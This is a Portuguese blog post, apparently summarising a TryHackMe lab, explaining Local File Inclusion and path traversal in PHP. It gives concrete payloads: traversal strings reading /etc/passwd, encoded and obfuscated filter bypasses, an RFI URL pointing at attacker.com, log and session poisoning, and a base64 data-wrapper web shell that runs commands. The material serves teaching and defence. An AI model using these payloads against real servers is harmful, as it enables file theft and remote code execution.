Local File Inclusion

TryHackMe: Um guia sobre Inclusão de Arquivos e Traversal de Caminhos

by

A vulnerabilidade de Local File Inclusion (LFI) representa um risco significativo para a segurança de aplicações web. Ela permite que atacantes acessem arquivos confidenciais no servidor, explorando falhas na validação de entrada. Entender os tipos de ataques, as técnicas de proteção e como mitigar essas vulnerabilidades é crucial para proteger seus sistemas contra acessos não autorizados e potenciais danos.

Tipos de Pathing: Relativo vs. Absoluto

A forma como os caminhos dos arquivos são definidos é essencial para entender como as inclusões de arquivos funcionam. Existem duas abordagens principais: pathing relativo e absoluto.

Pathing Relativo: Localiza arquivos com base no diretório atual. Por exemplo, include('./folder/file.php') indica que o arquivo está dentro da pasta “folder” no mesmo diretório do script.

Pathing Absoluto: Especifica o caminho completo desde o diretório raiz. Por exemplo, /var/www/html/folder/file.php mostra o caminho completo para o arquivo.

Remote File Inclusion (RFI)

O Remote File Inclusion (RFI) ocorre quando um atacante substitui uma URL por um caminho para um script malicioso. Imagine o seguinte cenário: http://url/include.php?page=http://attacker.com/exploit.php. Aqui, o atacante está tentando incluir um script hospedado em um servidor externo.

Local File Inclusion (LFI)

O Local File Inclusion (LFI) explora campos de entrada mal sanitizados para manipular os caminhos dos arquivos. O objetivo é acessar arquivos fora do diretório pretendido. Um exemplo comum é: http://url/include.php?page=../../../../etc/passwd, onde o atacante tenta acessar o arquivo passwd, que contém informações de usuários do sistema.

Comparativo LFI vs. RFI

A principal diferença entre LFI e RFI reside na origem do arquivo incluído. Enquanto o LFI explora arquivos locais no servidor, o RFI tenta incluir arquivos de fontes externas, controladas pelo atacante. Ambos os ataques visam a execução de código malicioso, mas o vetor de ataque é diferente.

PHP Wrappers

Os PHP wrappers são funcionalidades do PHP que permitem acessar diversos fluxos de dados e executar código através de protocolos integrados. Eles oferecem uma camada de abstração para trabalhar com diferentes tipos de streams, como arquivos, URLs e outros recursos.

Atacantes podem usar o php://filter para codificar o conteúdo de um arquivo como /etc/passwd usando o filtro convert.base64-encode. O payload final seria php://filter/convert.base64-encode/resource=/etc/passwd.

O conteúdo do arquivo, codificado em base64, é retornado e pode ser decodificado usando ferramentas como o CyberChef.

Categorias de Filtros PHP

Os filtros PHP são divididos em categorias, cada uma com funções específicas:

  • Filtros de String: string.rot13, string.toupper, string.tolower, string.strip_tags
  • Filtros de Conversão: convert.base64-encode, convert.base64-decode, convert.quoted-printable-encode, convert.quoted-printable-decode
  • Filtros de Compressão: zlib.deflate, zlib.inflate
  • Filtros de Encriptação (Depreciados): mcrypt, mdecrypt

A tabela abaixo mostra o output do arquivo .htaccess usando diferentes filtros de string em PHP:

Payload Output
php://filter/convert.base64-encode/resource=.htaccess UmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVz
php://filter/string.rot13/resource=.htaccess ErjevgrRatvar ba Bcgvbaf -Vaqrkrf
php://filter/string.toupper/resource=.htaccess REWRITEENGINE ON OPTIONS -INDEXES
php://filter/string.tolower/resource=.htaccess rewriteengine on options -indexes
php://filter/string.strip_tags/resource=.htaccess RewriteEngine on Options -Indexes
Sem filtro aplicado RewriteEngine on Options -Indexes

Data Wrapper

O data:// wrapper permite a incorporação de dados inline, sendo usado para inserir pequenas quantidades de dados diretamente no código da aplicação. Por exemplo: data:text/plain,<?php%20phpinfo();%20?>.

  • data: é a URL.
  • mime-type é definido como text/plain.
  • A parte de dados inclui um trecho de código PHP: <?php phpinfo(); ?>.

Base Directory Breakout

O Base Directory Breakout é uma técnica utilizada para escapar do diretório base de uma aplicação, acessando arquivos ou diretórios fora do escopo pretendido. A seguir, um exemplo de código que tenta evitar esse tipo de ataque:


function containsStr($str, $subStr){
    return strpos($str, $subStr) !== false;
}

if(isset($_GET['page'])){
    if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
        include $_GET['page'];
    }else{ 
        echo 'Você não tem permissão para sair do diretório /var/www/html/!';
    }
}

Este código tenta impedir que o input inclua ../.. e exige /var/www/html. No entanto, é possível burlar essa proteção com o payload /var/www/html/..//..//..//etc/passwd.

O ..//..// burla o filtro porque efetivamente navega dois diretórios acima, similar a ../../. A diferença é que apenas ../../ é explicitamente filtrado pelo código.

Obfuscation

A técnica de obfuscation é usada para codificar ou ofuscar o ../ de várias maneiras para evitar filtros simples. Algumas técnicas incluem:

  • Codificação URL Padrão: ../ torna-se %2e%2e%2f
  • Codificação Dupla: Útil se a aplicação decodifica as entradas duas vezes. ../ torna-se %252e%252e%252f
  • Obfuscation: Atacantes podem usar payloads como ....// para evitar a detecção por mecanismos de filtragem ou correspondência de strings.

Um script de exemplo que tenta mitigar LFI filtrando ../:


$file = $_GET['file'];
$file = str_replace('../', '', $file);

include('files/' . $file);

Um atacante pode burlar este filtro das seguintes formas:

  1. URL Encoded Bypass: Usar a versão URL-codificada do payload, como ?file=%2e%2e%2fconfig.php. O servidor decodifica essa entrada para ../config.php, evitando o filtro.
  2. Double Encoded Bypass: Se a aplicação decodifica as entradas duas vezes, o payload seria ?file=%252e%252e%252fconfig.php, onde um ponto é %252e e uma barra é %252f.
  3. Obfuscation: Usar o payload ....//config.php, que, após a aplicação remover a string de traversal, torna-se ../config.php.

LFI2RCE – Arquivos de Sessão

Arquivos de sessão PHP podem ser usados em um ataque LFI, levando à Execução Remota de Código (RCE), especialmente se um atacante puder manipular os dados da sessão. Em uma aplicação web, os dados da sessão são armazenados em arquivos no servidor.

Exemplo de código:


if(isset($_GET['page'])){
    $_SESSION['page'] = $_GET['page'];
    echo "Você está atualmente em " . $_GET["page"];
    include($_GET['page']);
}

Um atacante pode explorar essa vulnerabilidade injetando código PHP na variável de sessão usando <?php echo phpinfo(); ?> no parâmetro page. Esse código é salvo no arquivo de sessão no servidor. Posteriormente, o atacante pode usar a vulnerabilidade LFI para incluir este arquivo de sessão. Como os IDs de sessão são hashed, o ID pode ser encontrado na seção de cookies do navegador.

Acessar a URL sessions.php?page=/var/lib/php/sessions/sess_[sessionID] executará o código PHP injetado no arquivo de sessão. Lembre-se de substituir [sessionID] pelo valor do seu cookie PHPSESSID.

LFI2RCE – Envenenamento de Logs

O envenenamento de logs é uma técnica onde um atacante injeta código executável no arquivo de log de um servidor web e, em seguida, usa uma vulnerabilidade LFI para incluir e executar este arquivo de log. Isso pode ser feito através de:

  • Criação de um user agent malicioso
  • Envio de um payload via URL usando Netcat
  • Envio de um payload via um referrer header que o servidor registra

Por exemplo, se um atacante envia uma requisição Netcat para a máquina vulnerável contendo um código PHP:


$ nc 10.10.126.142 80      
<?php echo phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Thu, 23 Nov 2023 05:39:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 335
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Seu navegador enviou uma requisição que este servidor não pôde entender.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.126.142.eu-west-1.compute.internal Port 80</address>
</body></html>

O código será registrado nos logs de acesso do servidor. O atacante então usa LFI para incluir o arquivo de log de acesso: ?page=/var/log/apache2/access.log.

LFI2RCE – Wrappers

PHP wrappers podem ser usados não só para ler arquivos, mas também para execução de código. Podemos criar um payload como: <?php system($_GET['cmd']); echo 'Shell done!'; ?>.

O valor do payload, quando codificado para base64, será php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.

Posição Campo Valor
1 Protocol Wrapper php://filter
2 Filtro convert.base64-decode
3 Tipo de Recurso resource=
4 Tipo de Dado data://plain/text,
5 Encoded Payload PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+

Na tabela acima, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ é a versão codificada em base64 do código PHP. Quando o servidor processa esta requisição, ele primeiro decodifica a string base64 e então executa o código PHP, permitindo que o atacante execute comandos no servidor via o parâmetro GET “cmd”.

Entender as nuances e os métodos de exploração de Local File Inclusion é fundamental para proteger suas aplicações web contra possíveis ataques. Implementar medidas de segurança robustas, como a validação rigorosa de entradas e a configuração adequada de permissões de arquivos, pode reduzir significativamente o risco de exploração. Além disso, manter-se atualizado sobre as últimas técnicas de ataque e as melhores práticas de segurança é essencial para garantir a proteção contínua de seus sistemas.

Este conteúdo foi auxiliado por Inteligência Artificiado, mas escrito e revisado por um humano.
Via Dev.to

Leave a Comment

Exit mobile version